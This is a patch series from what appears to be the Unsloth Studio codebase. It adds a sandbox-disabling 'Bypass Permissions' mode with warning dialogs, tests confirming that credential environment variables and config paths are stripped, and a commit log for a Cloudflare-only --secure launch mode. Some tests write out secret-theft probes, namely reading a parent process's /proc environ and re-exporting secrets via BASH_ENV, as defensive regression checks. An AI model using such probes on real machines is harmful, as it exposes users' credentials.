+    assert token_path.startswith(str(workdir))  # resolved under the sandbox
+
+
+def test_bypass_env_drops_credential_config_path_vars(monkeypatch, tmp_path):
+    # NETRC / BOTO_CONFIG / PIP_CONFIG_FILE point clients at real credential
+    # files before $HOME, so they must not survive into the bypassed child.
+    monkeypatch.setenv("NETRC", "/home/op/.netrc")
+    monkeypatch.setenv("PGPASSFILE", "/home/op/.pgpass")
+    monkeypatch.setenv("BOTO_CONFIG", "/home/op/.boto")
+    monkeypatch.setenv("PIP_CONFIG_FILE", "/home/op/.pip/pip.conf")
+    env = _build_bypass_env(str(tmp_path))
+    assert "NETRC" not in env
+    assert "PGPASSFILE" not in env
+    assert "BOTO_CONFIG" not in env
+    assert "PIP_CONFIG_FILE" not in env
+
+
+def test_bypass_env_strips_npm_auth_and_mysql_pwd(monkeypatch, tmp_path):
+    # NPM_CONFIG__AUTH (npm _auth, base64) and MYSQL_PWD dodge the URL-value
+    # check and the PASSWD marker, but must still be dropped.
+    monkeypatch.setenv("NPM_CONFIG__AUTH", "aGVsbG86c2VjcmV0")
+    monkeypatch.setenv("MYSQL_PWD", "db-password")
+    assert _is_secret_env_name("NPM_CONFIG__AUTH") is True
+    assert _is_secret_env_name("MYSQL_PWD") is True
+    env = _build_bypass_env(str(tmp_path))
+    assert "NPM_CONFIG__AUTH" not in env
+    assert "MYSQL_PWD" not in env
+
+
+@_POSIX_ONLY
+def test_bash_bypass_does_not_source_bash_env(monkeypatch, tmp_path):
+    # bash -c sources $BASH_ENV for non-interactive shells; an operator startup
+    # file could re-export stripped secrets, so a real bypass call must not see it.
+    startup = tmp_path / "startup.sh"
+    startup.write_text("export RECOVERED=leaked\n")
+    monkeypatch.setenv("BASH_ENV", str(startup))
+    out = _bash_exec("echo R=$RECOVERED", None, 30, "bash-env-test", disable_sandbox = True)
+    assert "R=leaked" not in out  # BASH_ENV dropped -> startup not sourced
+    assert "R=" in out
+
+
+def test_bypass_env_repoints_windows_profile_vars(monkeypatch, tmp_path):
+    # On Windows, SDKs read cached creds under USERPROFILE/APPDATA/LOCALAPPDATA,
+    # not $HOME. Set ones are repointed at the workdir; HOMEDRIVE/HOMEPATH drop.
+    monkeypatch.setenv("USERPROFILE", "/host/profile")
+    monkeypatch.setenv("APPDATA", "/host/profile/AppData/Roaming")
+    monkeypatch.setenv("LOCALAPPDATA", "/host/profile/AppData/Local")
+    monkeypatch.setenv("HOMEDRIVE", "C:")
+    monkeypatch.setenv("HOMEPATH", "\\Users\\op")
+    env = _build_bypass_env(str(tmp_path))
+    assert env["USERPROFILE"] == str(tmp_path)
+    assert env["APPDATA"] == str(tmp_path)
+    assert env["LOCALAPPDATA"] == str(tmp_path)
+    assert "HOMEDRIVE" not in env
+    assert "HOMEPATH" not in env
+
+
+def test_bypass_env_does_not_add_unset_windows_profile_vars(monkeypatch, tmp_path):
+    # Only repoint Windows profile vars that were actually set (no pollution on
+    # Linux/macOS where they are absent).
+    monkeypatch.delenv("USERPROFILE", raising = False)
+    monkeypatch.delenv("APPDATA", raising = False)
+    monkeypatch.delenv("LOCALAPPDATA", raising = False)
+    env = _build_bypass_env(str(tmp_path))
+    assert "USERPROFILE" not in env
+    assert "APPDATA" not in env
+    assert "LOCALAPPDATA" not in env
+
+
+# ── parent /proc env-leak hardening (regression) ────────────────────
+
+
+@_POSIX_ONLY
+def test_bypass_exec_hardens_parent_proc_env(monkeypatch, captured_popen):
+    # Stripping the child env is not enough: a same-UID child can read the
+    # parent's /proc environ. The exec paths must invoke the parent hardening
+    # when (and only when) the sandbox is disabled.
+    calls = {"n": 0}
+
+    def fake_harden():
+        calls["n"] += 1
+        return True
+
+    monkeypatch.setattr(tools, "_harden_parent_against_proc_env_leak", fake_harden)
+    _python_exec("print(1)", None, 5, "t", disable_sandbox = True)
+    _bash_exec("echo hi", None, 5, "t", disable_sandbox = True)
+    assert calls["n"] == 2
+
+    calls["n"] = 0
+    _python_exec("print(1)", None, 5, "t", disable_sandbox = False)
+    _bash_exec("echo hi", None, 5, "t", disable_sandbox = False)
+    assert calls["n"] == 0  # never hardened on the sandboxed path
+
+
+def test_bypass_exec_fails_closed_when_hardening_fails(monkeypatch, captured_popen):
+    # If the parent cannot be hardened (e.g. prctl denied), the unsandboxed
+    # child must NOT run - otherwise the parent environ stays readable.
+    monkeypatch.setattr(tools, "_harden_parent_against_proc_env_leak", lambda: False)
+    out_py = _python_exec("print(1)", None, 5, "t", disable_sandbox = True)
+    out_sh = _bash_exec("echo hi", None, 5, "t", disable_sandbox = True)
+    assert "refusing bypass execution" in out_py
+    assert "refusing bypass execution" in out_sh
+    assert "cmd" not in captured_popen  # never reached Popen
+
+
+@_POSIX_ONLY
+def test_proc_env_unreadable_after_hardening():
+    # Mechanism check: after hardening, a same-UID child can no longer read the
+    # parent process /proc environ. Restores the dumpable flag afterwards so the
+    # process-global state does not leak into later tests.
+    import subprocess
+
+    if tools._libc is None:
+        pytest.skip("no libc/prctl available")
+    pid = os.getpid()
+    probe = (
+        "try:\n"
+        f"    open('/proc/{pid}/environ', 'rb').read()\n"
+        "    print('READABLE')\n"
+        "except PermissionError:\n"
+        "    print('DENIED')\n"
+    )
+    prev_dumpable = tools._libc.prctl(3, 0, 0, 0, 0)  # PR_GET_DUMPABLE
+    prev_guard = tools._parent_proc_hardened
+    try:
+        # Establish a clean readable baseline: another test may have already
+        # cleared the dumpable flag on this process.
+        tools._libc.prctl(4, 1, 0, 0, 0)  # PR_SET_DUMPABLE = 1
+        before = subprocess.run(
+            [sys.executable, "-c", probe], capture_output = True, text = True
+        ).stdout.strip()
+        if before != "READABLE":
+            pytest.skip("/proc already restricted in this environment")
+
+        tools._parent_proc_hardened = False
+        assert tools._harden_parent_against_proc_env_leak() is True
+
+        after = subprocess.run(
+            [sys.executable, "-c", probe], capture_output = True, text = True
+        ).stdout.strip()
+        assert after == "DENIED"
+    finally:
+        if prev_dumpable in (0, 1):
+            try:
+                tools._libc.prctl(4, prev_dumpable, 0, 0, 0)
+            except (OSError, AttributeError):
+                pass
+        tools._parent_proc_hardened = prev_guard
+
+
+# ── Anthropic request model declares the field (regression) ─────────
+
+
+def test_anthropic_request_model_bypass_default_false():
+    # Omitting the field on the Anthropic path must default to False rather than
+    # raising AttributeError (extra='allow' does not set absent attributes).
+    from models.inference import AnthropicMessagesRequest
+
+    assert AnthropicMessagesRequest.model_fields["bypass_permissions"].default is False
+    req = AnthropicMessagesRequest(model = "x", messages = [], max_tokens = 8)
+    assert bool(req.bypass_permissions) is False
diff --git a/studio/backend/tests/test_safetensors_tool_loop.py b/studio/backend/tests/test_safetensors_tool_loop.py
index 12731783a0..024d1801c0 100644
--- a/studio/backend/tests/test_safetensors_tool_loop.py
+++ b/studio/backend/tests/test_safetensors_tool_loop.py
@@ -208,6 +208,7 @@ class FakeExecuteTool:
         timeout = None,
         session_id = None,
         rag_scope = None,
+        disable_sandbox = False,
     ):
         self.calls.append((name, arguments))
         result = self.results.pop(0) if self.results else "OK"
diff --git a/studio/backend/tests/test_tool_confirm_loop.py b/studio/backend/tests/test_tool_confirm_loop.py
index ce7852c95f..17ef697674 100644
--- a/studio/backend/tests/test_tool_confirm_loop.py
+++ b/studio/backend/tests/test_tool_confirm_loop.py
@@ -43,6 +43,7 @@ class _FakeExecuteTool:
         timeout = None,
         session_id = None,
         rag_scope = None,
+        disable_sandbox = False,
     ):
         self.calls.append((name, arguments))
         return f"RESULT[{name}]"
diff --git a/studio/frontend/src/components/assistant-ui/thread.tsx b/studio/frontend/src/components/assistant-ui/thread.tsx
index 839c44d940..ec252b74a8 100644
--- a/studio/frontend/src/components/assistant-ui/thread.tsx
+++ b/studio/frontend/src/components/assistant-ui/thread.tsx
@@ -67,6 +67,7 @@ import { parseExternalModelId } from "@/features/chat/external-providers";
 import { McpComposerButton } from "@/features/chat/mcp-composer-button";
 import { getExternalReasoningCapabilities } from "@/features/chat/provider-capabilities";
 import { useRagToolDisabled } from "@/features/chat/hooks/use-rag-tool-disabled";
+import { BypassPermissionsMenuItem } from "@/features/chat/bypass-permissions-menu-item";
 import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
 import { useExternalProvidersStore } from "@/features/chat/stores/external-providers-store";
 import {
@@ -1223,6 +1224,9 @@ const Composer: FC<{
           data-pill-compact={pillsCompact ? "true" : undefined}
         >
           <ComposerToolsMenu side={effectiveMenuSide} />
+          {/* Active-mode badge: always visible when bypass is on, even while
+              the pill row is collapsed (returns null when off). */}
+          <BypassPermissionsToggle />
           {composerExpanded ? (
             <>
               <WebSearchToggle />
@@ -1931,6 +1935,30 @@ const ArtifactsToggle: FC = () => {
   );
 };
 
+// Red pill shown while Bypass Permissions is on; click to turn it off.
+// Mirror of shared-composer's badge so both composers surface the state.
+const BypassPermissionsToggle: FC = () => {
+  const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
+  const setBypassPermissions = useChatRuntimeStore(
+    (s) => s.setBypassPermissions,
+  );
+  if (!bypassPermissions) return null;
+  return (
+    <button
+      type="button"
+      onClick={() => setBypassPermissions(false)}
+      className="composer-pill-btn"
+      data-active="true"
+      data-variant="danger"
+      aria-label="Disable Bypass Permissions"
+      title="Bypass Permissions is on (no confirmation, no sandbox). Click to turn off."
+    >
+      <XIcon className="size-3" />
+      <span>Bypass Permissions</span>
+    </button>
+  );
+};
+
 const ToolStatusDisplay: FC = () => {
   const toolStatus = useChatRuntimeStore((s) => s.toolStatus);
   const isThreadRunning = useAuiState(({ thread }) => thread.isRunning);
@@ -2276,6 +2304,7 @@ const ComposerToolsMenu: FC<{ side?: "top" | "bottom" }> = ({
         ) : null}
       </DropdownMenuItem>
     ),
+    bypassPermissions: <BypassPermissionsMenuItem />,
     projects: (
       <DropdownMenuSub>
         <DropdownMenuSubTrigger>
diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts
index 6122b51dfd..c1a618862e 100644
--- a/studio/frontend/src/features/chat/api/chat-adapter.ts
+++ b/studio/frontend/src/features/chat/api/chat-adapter.ts
@@ -1551,6 +1551,7 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
         artifactsEnabled,
         mcpEnabledForChat,
         confirmToolCalls,
+        bypassPermissions,
         webFetchToolsEnabled,
         ragEnabled,
         ragSource,
@@ -2483,7 +2484,10 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
                       : []),
                   ],
                   mcp_enabled: mcpEnabledForChat,
-                  confirm_tool_calls: confirmToolCalls,
+                  // Bypass Permissions wins: never request the confirm gate
+                  // while bypassing, and tell the backend to drop the sandbox.
+                  confirm_tool_calls: confirmToolCalls && !bypassPermissions,
+                  bypass_permissions: bypassPermissions,
                   // Scope: thread_id = this thread's docs, kb_id = a KB,
                   // project_id = the thread's project sources (auto-on whenever
                   // the project has indexed sources, no Docs pill needed).
diff --git a/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx b/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx
new file mode 100644
index 0000000000..824d946d06
--- /dev/null
+++ b/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx
@@ -0,0 +1,82 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { ShieldOffIcon } from "lucide-react";
+import { useState } from "react";
+
+import { HugeiconsIcon } from "@hugeicons/react";
+
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from "@/components/ui/alert-dialog";
+import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
+import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
+import { Tick02Icon } from "@/lib/tick-icon";
+
+// "Bypass Permissions" entry for the composer "+" -> More menu. Mirrors the
+// settings toggle: enabling demands the danger warning, disabling is immediate.
+// onSelect preventDefault keeps the menu mounted so the warning dialog (which
+// lives in this same fragment) survives instead of unmounting with the menu.
+export function BypassPermissionsMenuItem() {
+  const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
+  const setBypassPermissions = useChatRuntimeStore(
+    (s) => s.setBypassPermissions,
+  );
+  const [dialogOpen, setDialogOpen] = useState(false);
+
+  return (
+    <>
+      <DropdownMenuItem
+        className={
+          bypassPermissions ? "text-destructive font-medium" : undefined
+        }
+        onSelect={(e) => {
+          if (bypassPermissions) {
+            setBypassPermissions(false);
+          } else {
+            e.preventDefault();
+            setDialogOpen(true);
+          }
+        }}
+      >
+        <ShieldOffIcon />
+        Bypass Permissions
+        {bypassPermissions ? (
+          <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} className="ml-auto" />
+        ) : null}
+      </DropdownMenuItem>
+      <AlertDialog open={dialogOpen} onOpenChange={setDialogOpen}>
+        <AlertDialogContent size="sm">
+          <AlertDialogHeader>
+            <AlertDialogTitle>Enable Bypass Permissions?</AlertDialogTitle>
+            <AlertDialogDescription>
+              Bypass Permissions is dangerous since the AI model might delete,
+              corrupt your machine, and or cause real world damage to you or the
+              world - only accept if you are certain
+            </AlertDialogDescription>
+          </AlertDialogHeader>
+          <AlertDialogFooter>
+            <AlertDialogCancel>Cancel</AlertDialogCancel>
+            <AlertDialogAction
+              variant="destructive"
+              className="!bg-destructive !text-destructive-foreground hover:!bg-destructive/90"
+              onClick={() => {
+                setBypassPermissions(true);
+                setDialogOpen(false);
+              }}
+            >
+              I understand
+            </AlertDialogAction>
+          </AlertDialogFooter>
+        </AlertDialogContent>
+      </AlertDialog>
+    </>
+  );
+}
diff --git a/studio/frontend/src/features/chat/chat-settings-sheet.tsx b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
index c69265bf59..d6b5d658da 100644
--- a/studio/frontend/src/features/chat/chat-settings-sheet.tsx
+++ b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
@@ -6,6 +6,16 @@ import {
   AlertDescription,
   AlertTitle,
 } from "@/components/ui/alert";
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from "@/components/ui/alert-dialog";
 import { Button } from "@/components/ui/button";
 import {
   Dialog,
@@ -1527,6 +1537,7 @@ export function ChatSettingsPanel({
             <div className="flex flex-col gap-5 pt-1">
               <AutoHealToolCallsToggle />
               <ConfirmToolCallsToggle />
+              <BypassPermissionsToggle />
               <MaxToolCallsSlider />
               <ToolCallTimeoutSlider />
             </div>
@@ -1713,27 +1724,99 @@ function AutoHealToolCallsToggle() {
 function ConfirmToolCallsToggle() {
   const confirmToolCalls = useChatRuntimeStore((s) => s.confirmToolCalls);
   const setConfirmToolCalls = useChatRuntimeStore((s) => s.setConfirmToolCalls);
+  const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
 
   return (
     <div className="flex items-center justify-between gap-3">
-      <div className="flex min-w-0 items-center gap-1.5">
-        <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
-          Confirm tool calls
-        </span>
-        <InfoHint>
-          When on, local Studio tool calls pause for your approval before they
-          run. Provider-hosted tools are not gated here.
-        </InfoHint>
+      <div className="flex min-w-0 flex-col gap-0.5">
+        <div className="flex min-w-0 items-center gap-1.5">
+          <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+            Confirm tool calls
+          </span>
+          <InfoHint>
+            When on, local Studio tool calls pause for your approval before they
+            run. Provider-hosted tools are not gated here.
+          </InfoHint>
+        </div>
+        {bypassPermissions ? (
+          <span className="text-[11px] text-muted-foreground">
+            Overridden by Bypass Permissions
+          </span>
+        ) : null}
       </div>
       <Switch
         className="panel-switch"
-        checked={confirmToolCalls}
+        checked={confirmToolCalls && !bypassPermissions}
         onCheckedChange={setConfirmToolCalls}
+        disabled={bypassPermissions}
       />
     </div>
   );
 }
 
+function BypassPermissionsToggle() {
+  const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
+  const setBypassPermissions = useChatRuntimeStore(
+    (s) => s.setBypassPermissions,
+  );
+  const [dialogOpen, setDialogOpen] = useState(false);
+
+  return (
+    <div className="flex flex-col gap-1.5">
+      <div className="flex items-center justify-between gap-3">
+        <div className="flex min-w-0 items-center gap-1.5">
+          <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+            Bypass Permissions
+          </span>
+          <InfoHint>
+            Dangerous. Runs every tool call with no confirmation and disables
+            the python/terminal sandbox. Environment secrets are stripped, but
+            code can still read files and credentials on your machine.
+          </InfoHint>
+        </div>
+        <Switch
+          className="panel-switch"
+          checked={bypassPermissions}
+          onCheckedChange={(next) => {
+            if (next) setDialogOpen(true);
+            else setBypassPermissions(false);
+          }}
+        />
+      </div>
+      {bypassPermissions ? (
+        <span className="text-[11px] text-destructive">
+          Tool calls run with no confirmation and no sandbox.
+        </span>
+      ) : null}
+      <AlertDialog open={dialogOpen} onOpenChange={setDialogOpen}>
+        <AlertDialogContent size="sm">
+          <AlertDialogHeader>
+            <AlertDialogTitle>Enable Bypass Permissions?</AlertDialogTitle>
+            <AlertDialogDescription>
+              Bypass Permissions is dangerous since the AI model might delete,
+              corrupt your machine, and or cause real world damage to you or the
+              world - only accept if you are certain
+            </AlertDialogDescription>
+          </AlertDialogHeader>
+          <AlertDialogFooter>
+            <AlertDialogCancel>Cancel</AlertDialogCancel>
+            <AlertDialogAction
+              variant="destructive"
+              className="!bg-destructive !text-destructive-foreground hover:!bg-destructive/90"
+              onClick={() => {
+                setBypassPermissions(true);
+                setDialogOpen(false);
+              }}
+            >
+              I understand
+            </AlertDialogAction>
+          </AlertDialogFooter>
+        </AlertDialogContent>
+      </AlertDialog>
+    </div>
+  );
+}
+
 function ChatTemplateFields() {
   const defaultTemplate = useChatRuntimeStore((s) => s.defaultChatTemplate);
   const override = useChatRuntimeStore((s) => s.chatTemplateOverride);
diff --git a/studio/frontend/src/features/chat/shared-composer.tsx b/studio/frontend/src/features/chat/shared-composer.tsx
index 8f547f8307..40063705ab 100644
--- a/studio/frontend/src/features/chat/shared-composer.tsx
+++ b/studio/frontend/src/features/chat/shared-composer.tsx
@@ -59,6 +59,7 @@ import {
 } from "./prompt-storage/prompt-storage-dialog";
 import { listPromptEntries, type PromptEntry } from "./api/prompts-api";
 import { McpComposerButton } from "./mcp-composer-button";
+import { BypassPermissionsMenuItem } from "./bypass-permissions-menu-item";
 import { KnowledgeBaseComposerButton } from "@/features/rag/components/knowledge-base-composer-button";
 import { NewProjectDialog } from "./components/new-project-dialog";
 import { useChatProjects } from "./hooks/use-chat-projects";
@@ -533,6 +534,10 @@ export function SharedComposer({
   const setWebFetchToolsEnabled = useChatRuntimeStore(
     (s) => s.setWebFetchToolsEnabled,
   );
+  const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
+  const setBypassPermissions = useChatRuntimeStore(
+    (s) => s.setBypassPermissions,
+  );
   const ragEnabled = useChatRuntimeStore((s) => s.ragEnabled);
   const setRagEnabled = useChatRuntimeStore((s) => s.setRagEnabled);
   const activeThreadId = useChatRuntimeStore((s) => s.activeThreadId);
@@ -1240,6 +1245,7 @@ export function SharedComposer({
         ) : null}
       </DropdownMenuItem>
     ),
+    bypassPermissions: <BypassPermissionsMenuItem />,
     projects: (
       <DropdownMenuSub>
         <DropdownMenuSubTrigger>
@@ -1684,6 +1690,20 @@ export function SharedComposer({
             </button>
           ) : null}
           {mcpEnabledForChat ? <McpComposerButton side="top" /> : null}
+          {bypassPermissions && (
+            <button
+              type="button"
+              onClick={() => setBypassPermissions(false)}
+              className="composer-pill-btn"
+              data-active="true"
+              data-variant="danger"
+              aria-label="Disable Bypass Permissions"
+              title="Bypass Permissions is on (no confirmation, no sandbox). Click to turn off."
+            >
+              <XIcon className="size-3" />
+              <span>Bypass Permissions</span>
+            </button>
+          )}
         </div>
         {/* mr-0.5 matches the send button inset from the edge in normal chat;
             gap-1.5 matches its control spacing. */}
diff --git a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
index c2f3578803..003a32ddb1 100644
--- a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
+++ b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
@@ -35,6 +35,7 @@ export const CHAT_ALLOW_ARTIFACT_NETWORK_ACCESS_KEY =
   "unsloth_chat_allow_artifact_network_access";
 export const CHAT_MCP_ENABLED_KEY = "unsloth_chat_mcp_enabled";
 export const CHAT_CONFIRM_TOOL_CALLS_KEY = "unsloth_chat_confirm_tool_calls";
+export const CHAT_BYPASS_PERMISSIONS_KEY = "unsloth_chat_bypass_permissions";
 export const CHAT_WEB_FETCH_TOOLS_ENABLED_KEY =
   "unsloth_chat_web_fetch_tools_enabled";
 export const CHAT_RAG_SOURCE_KEY = "unsloth_chat_rag_source";
@@ -487,6 +488,12 @@ type ChatRuntimeStore = {
    * chat before they run.
    */
   confirmToolCalls: boolean;
+  /**
+   * Bypass Permissions: when on, tool calls run with no confirmation gate
+   * AND the python/terminal execution sandbox is disabled on the backend
+   * (secrets are still stripped). Takes precedence over confirmToolCalls.
+   */
+  bypassPermissions: boolean;
   /**
    * Per-chat set of tool names the user chose to auto-approve via "Always
    * allow". Keyed by UI confirmation scope, not necessarily the backend
@@ -606,6 +613,7 @@ type ChatRuntimeStore = {
   setAllowArtifactNetworkAccess: (enabled: boolean) => void;
   setMcpEnabledForChat: (enabled: boolean) => void;
   setConfirmToolCalls: (enabled: boolean) => void;
+  setBypassPermissions: (enabled: boolean) => void;
   allowToolAlways: (sessionId: string, toolName: string) => void;
   setToolConfirmation: (
     toolCallId: string,
@@ -883,6 +891,10 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   ),
   mcpEnabledForChat: loadBool(CHAT_MCP_ENABLED_KEY, false),
   confirmToolCalls: loadBool(CHAT_CONFIRM_TOOL_CALLS_KEY, false),
+  // Never restore Bypass Permissions from storage: it disables the sandbox and
+  // the confirmation gate, so it must be re-enabled (through the warning
+  // dialog) each session rather than silently reactivating on reload.
+  bypassPermissions: false,
   alwaysAllowToolsBySession: new Map<string, Set<string>>(),
   toolConfirmations: {},
   webFetchToolsEnabled: loadBool(CHAT_WEB_FETCH_TOOLS_ENABLED_KEY, false),
@@ -1225,6 +1237,10 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       saveBool(CHAT_CONFIRM_TOOL_CALLS_KEY, confirmToolCalls);
       return { confirmToolCalls };
     }),
+  setBypassPermissions: (bypassPermissions) =>
+    // Deliberately not persisted (see init): a reload must not silently keep
+    // the sandbox/confirmation bypass active without re-accepting the warning.
+    set(() => ({ bypassPermissions })),
   allowToolAlways: (sessionId, toolName) =>
     set((state) => {
       const current = state.alwaysAllowToolsBySession.get(sessionId);
diff --git a/studio/frontend/src/features/chat/stores/plus-menu-prefs-store.ts b/studio/frontend/src/features/chat/stores/plus-menu-prefs-store.ts
index f94e3814e6..822c66eeb5 100644
--- a/studio/frontend/src/features/chat/stores/plus-menu-prefs-store.ts
+++ b/studio/frontend/src/features/chat/stores/plus-menu-prefs-store.ts
@@ -14,7 +14,8 @@ export type PlusMenuItemId =
   | "compareChat"
   | "exportChat"
   | "canvas"
-  | "projects";
+  | "projects"
+  | "bypassPermissions";
 
 // Canonical order used both for the pinned items at the top level and for the
 // items that fall into the "More" overflow submenu.
@@ -26,6 +27,7 @@ export const PLUS_MENU_ORDER: PlusMenuItemId[] = [
   "exportChat",
   "canvas",
   "projects",
+  "bypassPermissions",
 ];
 
 // Defaults reproduce the historical layout: Chat with Files, MCP and Projects
@@ -38,6 +40,8 @@ const DEFAULT_PINS: Record<PlusMenuItemId, boolean> = {
   compareChat: false,
   exportChat: false,
   canvas: false,
+  // Lives under "More" by default; it is a rarely toggled, dangerous mode.
+  bypassPermissions: false,
 };
 
 export interface PlusMenuPrefsState {
diff --git a/studio/frontend/src/index.css b/studio/frontend/src/index.css
index d0ca2d2426..118d5f9383 100644
--- a/studio/frontend/src/index.css
+++ b/studio/frontend/src/index.css
@@ -1046,6 +1046,11 @@
 	.composer-pill-btn[data-active="true"] {
 		color: var(--primary);
 	}
+	/* Bypass Permissions badge: red, always-visible active warning. */
+	.composer-pill-btn[data-variant="danger"] {
+		@apply bg-destructive/10 hover:bg-destructive/15;
+		color: var(--destructive);
+	}
 
 	/* With more than 4 tools on, drop pill labels to icons only to cut clutter.
 	   Compare keeps its label via data-keep-label. */

From 40c8ad78b94e904e698190d2c47ec231f9daacdd Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 15 Jun 2026 04:18:15 -0700
Subject: [PATCH 04/91] Studio: add --secure Cloudflare-only mode and revamp
 API usage examples (#6300)

* Studio: add --secure Cloudflare-only mode and revamp API usage examples

--secure / --not-secure on `unsloth studio` and `unsloth studio run`:
- --secure binds 127.0.0.1, requires the Cloudflare tunnel, and advertises only
  the Cloudflare link. cloudflared reaches the server over localhost, so the raw
  port is never exposed on a public interface.
- If the tunnel cannot start, fail closed with a clear message instead of
  silently leaving a raw 0.0.0.0 link.
- Default stays not-secure (no behavior change); coexists with the existing
  --cloudflare/--no-cloudflare flag. Host defaults are unchanged.
- /api/health (authed) now reports the live tunnel URL.

API usage examples (Profile > API):
- Example tabs for curl, Python, curl + tools, Python + tools, plus an OS row
  (Linux/macOS/WSL vs Windows) auto-detected from the platform.
- Windows curl passes the JSON body via a file so PowerShell does not strip the
  quotes when calling curl.exe.
- Python + tools forwards enable_tools/enabled_tools through extra_body and
  guards chunk.choices, since tool-lifecycle events carry no choices.
- Shows the loaded model name and the real API key while it is still revealed.
- A Cloudflare Tunnel toggle (default on) shows the public tunnel URL and uses
  it as the base_url in the examples when a tunnel is running.

Tests cover the tunnel start gate and the --secure flag on both commands.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: gate --secure tools on public exposure and harden API examples

In secure mode the server binds loopback but is reachable via the public
Cloudflare tunnel, so resolve the tool policy against the public exposure
(0.0.0.0) rather than the loopback bind. This keeps server-side tools off by
default and prompts before enabling them, instead of inheriting the loopback
default of on. The startup tool notice now names the public surface.

Also reject --secure with --no-cloudflare directly in run_server and the
run.py argparse (not only the CLI), JSON-encode interpolated model names so
Windows paths and quotes cannot produce invalid JSON or broken snippets, and
force-refresh /api/health on the API panel so a tunnel that starts after the
first health read still surfaces its URL.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: API examples show direct host when tunnel toggle is off; move Copy onto code

The Cloudflare Tunnel toggle had no visible effect when Studio was opened
through the tunnel: the off state fell back to window.location.origin, which
equals the tunnel URL in that case. /api/health now reports the direct
host:port (server_url), and the API panel uses it for the off state so it shows
the real non-tunnel base. Also move the Copy button out of the tab row and onto
the code block.

* Studio: highlight API examples, add advanced tabs, fix tunnel toggle row

Syntax-highlight the curl/PowerShell/Python snippets with the app's shared
shiki plugin (bash/powershell/python). Add 'curl + advanced' and
'Python + advanced' tabs that set temperature/top_p/top_k/min_p/
repetition_penalty/max_tokens, enable thinking, and turn on all tools.

The Cloudflare Tunnel row no longer shifts the code block: the tunnel URL is
always rendered (dimmed when off) so toggling keeps the row height constant.
Key the highlighted block on its content so it remounts when only the base URL
changes (the renderer's block memo otherwise kept a stale URL).

* Studio: rename API tunnel toggle to Secure HTTPS, hint --secure when exposed

Rename the API examples toggle from Cloudflare Tunnel to Secure HTTPS. When the
server was not launched with --secure, show an info tooltip noting the raw
0.0.0.0 port is still globally reachable and pointing at --secure. /api/health
now reports whether --secure was used so the hint is hidden in secure mode.

* Studio: force tools off for plain network/secure launches

The plain 'unsloth studio --secure' (and '-H 0.0.0.0') launcher re-execs run.py
and never installed a tool policy, so the process default (honor per-request
enable_tools) let any API-key holder run Python/terminal tools over the public
endpoint. Force the policy off at the run.py entrypoint when network-reachable
(0.0.0.0 or --secure); 'unsloth studio run' still installs its own resolved
policy and does not go through this path.

* Studio: apply default tool policy in run_server, not the run.py entrypoint

The plain launcher runs from the studio venv and calls run_server directly, so
it never hit the run.py __main__ guard. Move the network/secure default-off tool
policy into run_server so every launch path (plain, --secure, direct run.py)
gets it; the run subcommand still overrides it with its resolved policy.

* Studio: clarify --secure help text on the network exposure tradeoff

Spell out in --help (both unsloth studio and unsloth studio run, plus the
run.py argparse) that --not-secure also serves the raw 0.0.0.0 port reachable
from anywhere on the network, matching the API panel's Secure HTTPS hint.

* Studio: cache API-key PBKDF2 derivation to cut per-request /v1 auth overhead

validate_api_key re-ran the 100k-round PBKDF2 on every authenticated
request, adding ~15ms to each /v1 call made with an sk-unsloth- key.
Benchmarked against the bare llama-server it proxies to, API-key requests
carried ~22ms of fixed overhead vs ~7ms for the JWT path; the gap was
entirely this redundant key derivation (Pydantic validation measured
0.005ms, so it is not a factor).

The raw-key to hash mapping is a pure deterministic function of the fixed
server salt, so memoize it per process, keyed by a salted HMAC of the key
(never the key or a recoverable digest). The cached value equals what is
already stored at rest. Revocation and expiry remain enforced by the
SQLite read on every call, so a cache hit only skips the KDF, never the
active or expiry checks. Only keys that exist in the DB are cached, so
unknown-key spam cannot grow it.

After the change the API-key /v1 overhead drops to ~8ms, at parity with
JWT, while the at-rest PBKDF2 hashing is unchanged.

Adds test_api_key_expiry.py covering API-key and JWT expiry enforcement
and the new cache: it skips the KDF on repeat and still rejects revoked
or expired keys.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

